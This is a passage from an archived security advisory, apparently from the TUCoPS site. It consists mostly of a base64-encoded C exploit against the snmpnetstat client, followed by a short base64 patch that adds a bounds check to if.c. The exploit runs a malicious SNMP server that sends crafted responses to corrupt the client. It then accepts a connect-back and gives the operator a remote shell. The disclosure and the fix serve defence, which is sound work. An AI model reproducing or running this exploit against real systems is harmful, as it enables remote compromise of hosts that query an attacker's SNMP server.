	aGFyICpidWYpCnsKCXVfY2hhciAqcHRyID0gYnVmOwoJdV9jaGFyIGxlbjsK
	CWludCB2ZXJzaW9uLCBmb287Cgl1X2NoYXIgY29tbVtCVUZTSVpdLCBvaWQx
	W0JVRlNJWl0sIG9pZDJbQlVGU0laXSwgb2lkM1tCVUZTSVpdOwoJdV9jaGFy
	IHJlc3BbQlVGU0laXTsKCglpZiAoKnB0cisrICE9IChBU05fU0VRVUVOQ0Ug
	fCBBU05fQ09OU1RSVUNUT1IpKQoJCWZhdGFsICgiZXJyb3I6IHByb3RvY29s
	IGVycm9yXG4iKTsKCglsZW4gPSAqcHRyKys7CgoJcHRyID0gYXNuX2dldF9p
	bnRlZ2VyIChwdHIsICZ2ZXJzaW9uKTsKCWlmICh2ZXJzaW9uICE9IDApCgkJ
	ZmF0YWwgKCJlcnJvcjogY2xpZW50IHVzZXMgYSB2ZXJzaW9uIGRpZmZlcmVu
	dCBmcm9tIDBcbiIpOwoKCW1lbXNldCAoY29tbSwgMCwgc2l6ZW9mIChjb21t
	KSk7CglwdHIgPSBhc25fZ2V0X29jdGV0X3N0cmluZyAocHRyLCBjb21tKTsK
	CQkKCWlmICgqcHRyKysgIT0gU05NUF9HRVRORVhUUkVRVUVTVCkKCQlmYXRh
	bCAoImVycm9yOiBwcm90b2NvbCBlcnJvclxuIik7CgoJcHRyKys7IC8qIHNr
	aXAgbGVuICovCgkKCXB0ciA9IGFzbl9nZXRfaW50ZWdlciAocHRyLCAmc2Vz
	c2lvbl9pZCk7CgoJcHRyID0gYXNuX2dldF9pbnRlZ2VyIChwdHIsICZmb28p
	OwoJcHRyID0gYXNuX2dldF9pbnRlZ2VyIChwdHIsICZmb28pOwoKCWlmICgq
	cHRyKysgIT0gKEFTTl9TRVFVRU5DRSB8IEFTTl9DT05TVFJVQ1RPUikpCgkJ
	ZmF0YWwgKCJlcnJvcjogcHJvdG9jb2wgZXJyb3JcbiIpOwoJcHRyKys7CgoJ
	aWYgKCpwdHIrKyAhPSAoQVNOX1NFUVVFTkNFIHwgQVNOX0NPTlNUUlVDVE9S
	KSkKCQlmYXRhbCAoImVycm9yOiBwcm90b2NvbCBlcnJvclxuIik7CglwdHIr
	KzsKCXB0ciA9IGFzbl9nZXRfb2JqZWN0aWQgKHB0ciwgb2lkMSk7CglpZiAo
	bWVtY21wIChvaWQxLCAiXHgyQlx4MDZceDAxXHgwMlx4MDFceDA0XHgxNFx4
	MDFceDAyXHgwMFx4MDBceDAwXHgwMCIsIDB4MEQpICE9IDApCgkJZmF0YWwg
	KCJlcnJvcjogcHJvdG9jb2wgZXJyb3JcbiIpOwoJcHRyICs9IDI7CgoJaWYg
	KCpwdHIrKyAhPSAoQVNOX1NFUVVFTkNFIHwgQVNOX0NPTlNUUlVDVE9SKSkK
	CQlmYXRhbCAoImVycm9yOiBwcm90b2NvbCBlcnJvclxuIik7CglwdHIrKzsK
	CXB0ciA9IGFzbl9nZXRfb2JqZWN0aWQgKHB0ciwgb2lkMik7CglpZiAobWVt
	Y21wIChvaWQyLCAiXHgyQlx4MDZceDAxXHgwMlx4MDFceDA0XHgxNFx4MDFc
	eDAxXHgwMFx4MDBceDAwXHgwMCIsIDB4MEQpICE9IDApCgkJZmF0YWwgKCJl
	cnJvcjogcHJvdG9jb2wgZXJyb3JcbiIpOwoJcHRyICs9IDI7CgoJaWYgKCpw
	dHIrKyAhPSAoQVNOX1NFUVVFTkNFIHwgQVNOX0NPTlNUUlVDVE9SKSkKCQlm
	YXRhbCAoImVycm9yOiBwcm90b2NvbCBlcnJvclxuIik7CglwdHIrKzsKCXB0
	ciA9IGFzbl9nZXRfb2JqZWN0aWQgKHB0ciwgb2lkMyk7CglpZiAobWVtY21w
	IChvaWQzLCAiXHgyQlx4MDZceDAxXHgwMlx4MDFceDA0XHgxNFx4MDFceDAz
	XHgwMFx4MDBceDAwXHgwMCIsIDB4MEQpICE9IDApCgkJZmF0YWwgKCJlcnJv
	cjogcHJvdG9jb2wgZXJyb3JcbiIpOwoKCW1lbXNldCAocmVzcCwgMCwgc2l6
	ZW9mIChyZXNwKSk7CglwdHIgPSByZXNwOwoKCXB0ciA9IGFzbl9hcHBlbmRf
	c2VxdWVuY2UgKHB0ciwgMHg1NCArIDkpOwoJcHRyID0gYXNuX2FwcGVuZF9p
	bnRlZ2VyIChwdHIsIDAsIDEpOwoJcHRyID0gYXNuX2FwcGVuZF9vY3RldF9z
	dHJpbmcgKHB0ciwgY29tbSwgc3RybGVuIChjb21tKSk7CgkqcHRyKysgPSBT
	Tk1QX0dFVFJFU1BPTlNFOwoJKnB0cisrID0gMHg0NyArIDk7CglwdHIgPSBh
	c25fYXBwZW5kX2ludGVnZXIgKHB0ciwgc2Vzc2lvbl9pZCwgNCk7CglwdHIg
	PSBhc25fYXBwZW5kX2ludGVnZXIgKHB0ciwgMCwgMSk7CglwdHIgPSBhc25f
	YXBwZW5kX2ludGVnZXIgKHB0ciwgMCwgMSk7CgkKCXB0ciA9IGFzbl9hcHBl
	bmRfc2VxdWVuY2UgKHB0ciwgMHgzOSArIDkpOwoJCglwdHIgPSBhc25fYXBw
	ZW5kX3NlcXVlbmNlIChwdHIsIDB4MTEgKyAxKTsKCXB0ciA9IGFzbl9hcHBl
	bmRfb2JqZWN0aWQgKHB0ciwgb2lkMSwgMHgwRCk7CglwdHIgPSBhc25fYXBw
	ZW5kX2ludGVnZXIgKHB0ciwgMSwgMSk7CgkKCXB0ciA9IGFzbl9hcHBlbmRf
	c2VxdWVuY2UgKHB0ciwgMHgxMSArIDQpOwoJcHRyID0gYXNuX2FwcGVuZF9v
	YmplY3RpZCAocHRyLCBvaWQyLCAweDBEKTsKCXB0ciA9IGFzbl9hcHBlbmRf
	aW50ZWdlciAocHRyLCAweGFhYmJjY2RkLCA0KTsKCQoJcHRyID0gYXNuX2Fw
	cGVuZF9zZXF1ZW5jZSAocHRyLCAweDExICsgNCk7CglwdHIgPSBhc25fYXBw
	ZW5kX29iamVjdGlkIChwdHIsIG9pZDMsIDB4MEQpOwoJcHRyID0gYXNuX2Fw
	cGVuZF9pbnRlZ2VyIChwdHIsIDB4YWFiYmNjZGQsIDQpOwoJCglsZW4gPSAo
	cHRyIC0gcmVzcCk7CgoJaWYgKHNlbmR0byAoc2QsIHJlc3AsIGxlbiwgMCwg
	KHN0cnVjdCBzb2NrYWRkciAqKSAmY2xpZW50LCBzaXplb2YgKGNsaWVudCkp
	ICE9IGxlbikKCQlwZXJyb3IgKCJzZW5kdG8oKSIpLCBleGl0IChFWElUX0ZB
	SUxVUkUpOwoKCXN0YXRlID0gU1RBVEVfV0FJVElOR19HRVRORVhUMjsKfQoK
	c3RhdGljIHZvaWQKc25tcF9saXN0ZW5pbmcgKGludCBzZCwgdV9jaGFyICpi
	dWYpCnsKCXVfY2hhciAqcHRyID0gYnVmOwoJdV9jaGFyIGxlbjsKCWludCB2
	ZXJzaW9uLCBmb287Cgl1X2NoYXIgY29tbVtCVUZTSVpdLCBvaWRbQlVGU0la
	XTsKCXVfY2hhciByZXNwW0JVRlNJWl07CgkKCWlmICgqcHRyKysgIT0gKEFT
	Tl9TRVFVRU5DRSB8IEFTTl9DT05TVFJVQ1RPUikpCgkJZmF0YWwgKCJlcnJv
	cjogcHJvdG9jb2wgZXJyb3JcbiIpOwoKCWxlbiA9ICpwdHIrKzsKCglwdHIg
	PSBhc25fZ2V0X2ludGVnZXIgKHB0ciwgJnZlcnNpb24pOyAKCWlmICh2ZXJz
	aW9uICE9IDApCgkJZmF0YWwgKCJlcnJvcjogY2xpZW50IHVzZXMgYSB2ZXJz
	aW9uIGRpZmZlcmVudCBmcm9tIDBcbiIpOwoKCW1lbXNldCAoY29tbSwgMCwg
	c2l6ZW9mIChjb21tKSk7CglwdHIgPSBhc25fZ2V0X29jdGV0X3N0cmluZyAo
	cHRyLCBjb21tKTsKCQkKCWlmICgqcHRyKysgIT0gU05NUF9HRVRSRVFVRVNU
	KQoJCWZhdGFsICgiZXJyb3I6IHByb3RvY29sIGVycm9yXG4iKTsKCglwdHIr
	KzsgLyogc2tpcCBsZW4gKi8KCglwdHIgPSBhc25fZ2V0X2ludGVnZXIgKHB0
	ciwgJnNlc3Npb25faWQpOwoJcHRyID0gYXNuX2dldF9pbnRlZ2VyIChwdHIs
	ICZmb28pOwoJcHRyID0gYXNuX2dldF9pbnRlZ2VyIChwdHIsICZmb28pOwoK
	CWlmICgqcHRyKysgIT0gKEFTTl9TRVFVRU5DRSB8IEFTTl9DT05TVFJVQ1RP
	UikpCgkJZmF0YWwgKCJlcnJvcjogcHJvdG9jb2wgZXJyb3JcbiIpOwoJcHRy
	Kys7CglpZiAoKnB0cisrICE9IChBU05fU0VRVUVOQ0UgfCBBU05fQ09OU1RS
	VUNUT1IpKQoJCWZhdGFsICgiZXJyb3I6IHByb3RvY29sIGVycm9yXG4iKTsK
	CXB0cisrOwoKCXB0ciA9IGFzbl9nZXRfb2JqZWN0aWQgKHB0ciwgb2lkKTsK
	CWlmIChtZW1jbXAgKG9pZCwgIlx4MkJceDA2XHgwMVx4MDJceDAxXHgwMlx4
	MDFceDAwIiwgOCkgIT0gMCkKCQlmYXRhbCAoImVycm9yOiBwcm90b2NvbCBl
	cnJvclxuIik7CgkKCW1lbXNldCAocmVzcCwgMCwgc2l6ZW9mIChyZXNwKSk7
	CglwdHIgPSByZXNwOwoKCXB0ciA9IGFzbl9hcHBlbmRfc2VxdWVuY2UgKHB0
	ciwgNDIpOwoJcHRyID0gYXNuX2FwcGVuZF9pbnRlZ2VyIChwdHIsIDAsIDEp
	OwoJcHRyID0gYXNuX2FwcGVuZF9vY3RldF9zdHJpbmcgKHB0ciwgY29tbSwg
	c3RybGVuIChjb21tKSk7CgkqcHRyKysgPSBTTk1QX0dFVFJFU1BPTlNFOwoJ
	KnB0cisrID0gMHgxRDsKCXB0ciA9IGFzbl9hcHBlbmRfaW50ZWdlciAocHRy
	LCBzZXNzaW9uX2lkLCA0KTsKCXB0ciA9IGFzbl9hcHBlbmRfaW50ZWdlciAo
	cHRyLCAwLCAxKTsKCXB0ciA9IGFzbl9hcHBlbmRfaW50ZWdlciAocHRyLCAw
	LCAxKTsKCXB0ciA9IGFzbl9hcHBlbmRfc2VxdWVuY2UgKHB0ciwgMHgwRik7
	CglwdHIgPSBhc25fYXBwZW5kX3NlcXVlbmNlIChwdHIsIDB4MEQpOwoJcHRy
	ID0gYXNuX2FwcGVuZF9vYmplY3RpZCAocHRyLCBvaWQsIDgpOwoJcHRyID0g
	YXNuX2FwcGVuZF9pbnRlZ2VyIChwdHIsIDEsIDEpOwoJCglsZW4gPSAocHRy
	IC0gcmVzcCk7CgoJaWYgKHNlbmR0byAoc2QsIHJlc3AsIGxlbiwgMCwgKHN0
	cnVjdCBzb2NrYWRkciAqKSAmY2xpZW50LCBzaXplb2YgKGNsaWVudCkpICE9
	IGxlbikKCQlwZXJyb3IgKCJzZW5kdG8oKSIpLCBleGl0IChFWElUX0ZBSUxV
	UkUpOwoKCXN0YXRlID0gU1RBVEVfV0FJVElOR19HRVRORVhUMTsKfQoKc3Rh
	dGljIHZvaWQKYmluZHNoZWxsIChpbnQgc2QpCnsKCXN0cnVjdCBwb2xsZmQg
	ZmRzWzJdOwoJdV9jaGFyICpjbWRzID0gInB3ZDsgaWQ7IHVuYW1lIC1hXG4i
	OwoJdV9jaGFyIGJ1ZltCVUZTSVpdOwoJaW50IG47CgkKCXdyaXRlIChzZCwg
	Y21kcywgc3RybGVuIChjbWRzKSk7CgoJd2hpbGUgKDEpCgl7CgkJbWVtc2V0
	ICgmZmRzLCAwLCBzaXplb2YgKGZkcykpOwoKCQlmZHNbMF0uZXZlbnRzID0g
	ZmRzWzFdLmV2ZW50cyA9IFBPTExJTjsKCQlmZHNbMF0uZmQgPSBzZDsKCQlm
	ZHNbMV0uZmQgPSAwOwoKCQlpZiAocG9sbCAoZmRzLCAyLCAtMSkgPCAwKQoJ
	CQlmYXRhbCAoInBvbGwoKTogJXNcbiIsIHN0cmVycm9yIChlcnJubykpOwoK
	CQlpZiAoZmRzWzBdLnJldmVudHMgJiAoUE9MTEVSUiB8IFBPTExOVkFMIHwg
	UE9MTEhVUCkpCgkJCWZhdGFsICgiY29ubmVjdGlvbiBjbG9zZWRcbiIpOwoK
	CQlpZiAoZmRzWzBdLnJldmVudHMgJiBQT0xMSU4pCgkJewoJCQluID0gcmVh
	ZCAoZmRzWzBdLmZkLCBidWYsIEJVRlNJWik7CgkJCWlmIChuIDwgMSkKCQkJ
	CWZhdGFsICgiY29ubmVjdGlvbiBjbG9zZWRcbiIpOwoJCQl3cml0ZSAoMSwg
	YnVmLCBuKTsKCQl9CgkJCgkJaWYgKGZkc1sxXS5yZXZlbnRzICYgUE9MTElO
	KQoJCXsKCQkJbiA9IHJlYWQgKGZkc1sxXS5mZCwgYnVmLCBCVUZTSVopOwoJ
	CQl3cml0ZSAoc2QsIGJ1Ziwgbik7CgkJfQoJfQp9CgpzdGF0aWMgdm9pZApz
	bm1wX3dhaXRpbmdfY29ubmVjdCAodm9pZCkKewoJaW50IHNkLCB2YWwsIGZz
	ZCwgc2xlbjsKCXN0cnVjdCBzb2NrYWRkcl9pbiBzX2luOwoJc3RydWN0IHBv
	bGxmZCBwZmQ7CgkKCWlmICgoc2QgPSBzb2NrZXQgKEFGX0lORVQsIFNPQ0tf
	U1RSRUFNLCBJUFBST1RPX1RDUCkpIDwgMCkKCQlmYXRhbCAoInNvY2tldCgp
	OiAlc1xuIiwgc3RyZXJyb3IgKGVycm5vKSk7CgoJbWVtc2V0ICgmc19pbiwg
	MCwgc2l6ZW9mIChzX2luKSk7CglzX2luLnNpbl9mYW1pbHkgPSBBRl9JTkVU
	OwoJc19pbi5zaW5fYWRkci5zX2FkZHIgPSAodXNlX2JpbmRfYWRkciA/IGJp
	bmRfYWRkciA6IElOQUREUl9BTlkpOwoJc19pbi5zaW5fcG9ydCA9IGh0b25z
	IChiaW5kcG9ydCk7CgoJaWYgKGJpbmQgKHNkLCAoc3RydWN0IHNvY2thZGRy
	ICopICZzX2luLCBzaXplb2YgKHNfaW4pKSA8IDApCgkJZmF0YWwgKCJiaW5k
	KCk6ICVzXG4iLCBzdHJlcnJvciAoZXJybm8pKTsKCglsaXN0ZW4gKHNkLCA1
	KTsKCglmcHJpbnRmIChzdGRlcnIsICJhd2FpdGluZyBjb25uZWN0aW9uIGZy
	b20gY2xpZW50Li4uXG4iKTsKCgltZW1zZXQgKCZwZmQsIDAsIHNpemVvZiAo
	cGZkKSk7CglwZmQuZmQgPSBzZDsKCXBmZC5ldmVudHMgPSBQT0xMSU47CgoJ
	aWYgKCh2YWwgPSBwb2xsICgmcGZkLCAxLCAyMCAqIDEwMDApKSA8IDApCgkJ
	ZmF0YWwgKCJwb2xsKCk6ICVzXG4iLCBzdHJlcnJvciAoZXJybm8pKTsKCglp
	ZiAodmFsIDwgMSB8fCBwZmQucmV2ZW50cyAmIChQT0xMRVJSIHwgUE9MTE5W
	QUwgfCBQT0xMSFVQKSB8fCAhKHBmZC5yZXZlbnRzICYgUE9MTElOKSkKCQlm
	YXRhbCAoIm5vIGNvbm5lY3Rpb24gZnJvbSBjbGllbnQgaW4gMjAgc2Vjb25k
	cy4gYWJvcnRpbmdcbiIpOwoKCW1lbXNldCAoJnNfaW4sIDAsIHNpemVvZiAo
	c19pbikpOwoJc2xlbiA9IHNpemVvZiAoc19pbik7Cglmc2QgPSBhY2NlcHQg
	KHNkLCAmc19pbiwgJnNsZW4pOwoJY2xvc2UgKHNkKTsKCglpZiAoZnNkIDwg
	MCkKCQlmYXRhbCAoImFjY2VwdCgpOiAlc1xuIiwgc3RyZXJyb3IgKGVycm5v
	KSk7CgoJZnByaW50ZiAoc3RkZXJyLCAicmVjZWl2ZWQgY29ubmVjdGlvbiBm
	cm9tICVzOiVpXG4iLAoJCQlpbmV0X250b2EgKHNfaW4uc2luX2FkZHIpLAoJ
	CQlodG9ucyAoc19pbi5zaW5fcG9ydCkpOwoKCWJpbmRzaGVsbCAoZnNkKTsK
	fQoKc3RhdGljIHZvaWQKc25tcF9wcm9jY2VzcyAoaW50IHNkLCB1X2NoYXIg
	KmJ1ZikKewoJc3dpdGNoIChzdGF0ZSkKCXsKCWNhc2UgU1RBVEVfTElTVEVO
	SU5HOgoJCXNubXBfbGlzdGVuaW5nIChzZCwgYnVmKTsKCQlicmVhazsKCglj
	YXNlIFNUQVRFX1dBSVRJTkdfR0VUTkVYVDE6CgkJc25tcF93YWl0aW5nX2dl
	dG5leHQxIChzZCwgYnVmKTsKCQlicmVhazsKCgljYXNlIFNUQVRFX1dBSVRJ
	TkdfR0VUTkVYVDI6CgkJc25tcF93YWl0aW5nX2dldG5leHQyIChzZCwgYnVm
	KTsKCQlicmVhazsKCX0KfQoKc3RhdGljIHZvaWQgX19hdHRyaWJ1dGVfXyAo
	KG5vcmV0dXJuKSkKdXNhZ2UgKHVfY2hhciAqcCkKewoJZnByaW50ZiAoc3Rk
	ZXJyLCAiVXNhZ2U6ICVzIFtvcHRpb25zXVxuIiwgcCk7CglmcHJpbnRmIChz
	dGRlcnIsICJvcHRpb25zOlxuIgoJCQkiLXAgPHBvcnQ+XHRzbm1wIHBvcnQg
	dG8gbGlzdGVuIG9uXG4iCgkJCSItUCA8cG9ydD5cdGNvbm5lY3QtYmFjayBw
	b3J0XG4iCgkJCSItYSA8aXA+XHRcdGJpbmQgc29ja2V0IHRvIHRoaXMgYWRk
	cmVzc1xuIgoJCQkiLWhcdFx0c2hvdyB0aGlzXG5cbiIpOwoJZXhpdCAoRVhJ
	VF9GQUlMVVJFKTsKfQoKaW50Cm1haW4gKGludCBhcmdjLCBjaGFyICphcmd2
	W10pCnsKCWludCBzZCwgc2xlbjsKCXN0cnVjdCBzb2NrYWRkcl9pbiBzX2lu
	OwoJdV9jaGFyIGJ1ZltCVUZTSVpdOwoJdW5zaWduZWQgc2hvcnQgc25tcF9w
	b3J0ID0gMTYxOwoJdW5zaWduZWQgbG9uZyBzbm1wX2lwID0gSU5BRERSX0FO
	WTsKCWNoYXIgb3B0OwoJCglmcHJpbnRmIChzdGRlcnIsICJcbnByb29mIG9m
	IGNvbmNlcHQgc25tcG5ldHN0YXQgeHBsb2l0IC0gSnVhbiBNLiBkZSBsYSBU
	b3JyZSA8am10b3JyZUBheGlvbWFzaXN0ZW1hcy5jb20+XG5cbiIpOwoKCXdo
	aWxlICgob3B0ID0gZ2V0b3B0IChhcmdjLCBhcmd2LCAicDpQOmE6aCIpKSAh
	PSBFT0YpCgkJc3dpdGNoIChvcHQpCgkJewoJCWNhc2UgJ3AnOgoJCQlzbm1w
	X3BvcnQgPSBhdG9pIChvcHRhcmcpOwoJCQlicmVhazsKCgkJY2FzZSAnUCc6
	CgkJCWJpbmRwb3J0ID0gYXRvaSAob3B0YXJnKTsKCQkJYnJlYWs7CgkJCgkJ
	Y2FzZSAnYSc6CgkJCWlmIChpbmV0X2F0b24gKG9wdGFyZywgKHN0cnVjdCBp
	bl9hZGRyICopICZzbm1wX2lwKSA9PSAwKQoJCQkJZmF0YWwgKCIlcyBpcyBu
	b3QgYSB2YWxpZCBpcCBhZGRyZXNzXG4iLCBvcHRhcmcpOwoJCQliaW5kX2Fk
	ZHIgPSBzbm1wX2lwOwoJCQl1c2VfYmluZF9hZGRyID0gMTsKCQkJYnJlYWs7
	CgkJCgkJY2FzZSAnaCc6IC8qIGZhbGx0aHJvdWdoICovCgkJZGVmYXVsdDoK
	CQkJdXNhZ2UgKGFyZ3ZbMF0pOwoJCX0KCglmcHJpbnRmIChzdGRlcnIsICJ1
	c2UgLWggdG8gc2hvdyB1c2FnZVxuIik7CgoJaWYgKChzZCA9IHNvY2tldCAo
	QUZfSU5FVCwgU09DS19ER1JBTSwgSVBQUk9UT19VRFApKSA8IDApCgkJcGVy
	cm9yICgic29ja2V0KCkiKSwgZXhpdCAoRVhJVF9GQUlMVVJFKTsKCgltZW1z
	ZXQgKCZzX2luLCAwLCBzaXplb2YgKHNfaW4pKTsKCXNfaW4uc2luX2ZhbWls
	eSA9IEFGX0lORVQ7CglzX2luLnNpbl9wb3J0ID0gaHRvbnMgKHNubXBfcG9y
	dCk7CglzX2luLnNpbl9hZGRyLnNfYWRkciA9IHNubXBfaXA7CgoJaWYgKGJp
	bmQgKHNkLCAoc3RydWN0IHNvY2thZGRyICopICZzX2luLCBzaXplb2YgKHNf
	aW4pKSA8IDApCgkJcGVycm9yICgiYmluZCgpIiksIGV4aXQgKEVYSVRfRkFJ
	TFVSRSk7CgoJc3RhdGUgPSBTVEFURV9MSVNURU5JTkc7CgoJZnByaW50ZiAo
	c3RkZXJyLCAiYm91bmQgc29ja2V0IHRvICVzOiVpXG4iLCBpbmV0X250b2Eg
	KHNfaW4uc2luX2FkZHIpLCBzbm1wX3BvcnQpOwoKCXdoaWxlICgxKQoJewoJ
	CW1lbXNldCAoYnVmLCAwLCBzaXplb2YgKGJ1ZikpOwoJCXNsZW4gPSBzaXpl
	b2YgKGNsaWVudCk7CgkJaWYgKHJlY3Zmcm9tIChzZCwgYnVmLCBzaXplb2Yg
	KGJ1ZiksIDAsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJmNsaWVudCwgJnNsZW4p
	IDwgMSkKCQkJcGVycm9yICgicmVjdmZyb20oKSIpLCBleGl0IChFWElUX0ZB
	SUxVUkUpOwoKCQlmcHJpbnRmIChzdGRlcnIsICJwcm9jZXNpbmcgc25tcCBw
	YWNrZXQgZnJvbSAlczolaVxuIiwKCQkJCWluZXRfbnRvYSAoY2xpZW50LnNp
	bl9hZGRyKSwKCQkJCWh0b25zIChjbGllbnQuc2luX3BvcnQpKTsKCgkJc25t
	cF9wcm9jY2VzcyAoc2QsIGJ1Zik7CgoJCWlmIChzdGF0ZSA9PSBTVEFURV9R
	VUlUVElORykKCQkJYnJlYWs7CgoJCWlmIChzdGF0ZSA9PSBTVEFURV9XQUlU
	SU5HX0NPTk5FQ1QpCgkJewoJCQlzbm1wX3dhaXRpbmdfY29ubmVjdCAoKTsK
	CQkJYnJlYWs7CgkJfQoJfQoKCWNsb3NlIChzZCk7CgkKCWV4aXQgKEVYSVRf
	U1VDQ0VTUyk7Cn0KCgo=
	
	--=====_10100706846334=_--
	
	
SOLUTION
	 
	Content-Type: application/octet-stream; name=\"snmp.diff\"
	Content-Transfer-Encoding: base64
	Content-Disposition: attachment; filename=\"snmp.diff\"
	
	KioqIGFwcHMvc25tcG5ldHN0YXQvaWYuY19vbGQJVGh1IEphbiAgMyAxNDoy
	NTowMCAyMDAyCi0tLSBhcHBzL3NubXBuZXRzdGF0L2lmLmMJVGh1IEphbiAg
	MyAxNDoyNjoxNSAyMDAyCioqKioqKioqKioqKioqKiBpbnRwcihpbnQgaW50
	ZXJ2YWwpCioqKiAyODAsMjg1ICoqKioKLS0tIDI4MCwyOTAgLS0tLQogIAkJ
	ICAgIGNhc2UgSUZJTkRFWDoKICAJCQlpZmluZGV4ID0gKnZhci0+dmFsLmlu
	dGVnZXI7CiAgCQkJZm9yIChjdXJfaWYgPSBpZl90YWJsZTsgY3VyX2lmLT5p
	ZmluZGV4ICE9IGlmaW5kZXggJiYgY3VyX2lmLT5pZmluZGV4ICE9IDA7IGN1
	cl9pZisrKSA7CisgCQkJaWYgKGN1cl9pZiA+PSAoaWZfdGFibGUgKyBjZmdf
	bm5ldHMpKQorIAkJCXsKKyAJCQkJZnByaW50ZiAoc3RkZXJyLCAiSW5jb25z
	aXN0ZW50IHJlcG9uc2UgZnJvbSBzZXJ2ZXIuIEFib3J0aW5nXG4iKTsKKyAJ
	CQkJZXhpdCAoMCk7CisgCQkJfQogIAkJCWN1cl9pZi0+aWZpbmRleCA9IGlm
	aW5kZXg7CiAgCQkJYnJlYWs7CiAgCQkgICAgY2FzZSBPVVRRTEVOOgo=
	
	--=====_10100706846334=_
	
	

AltStyle によって変換されたページ (->オリジナル) /

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH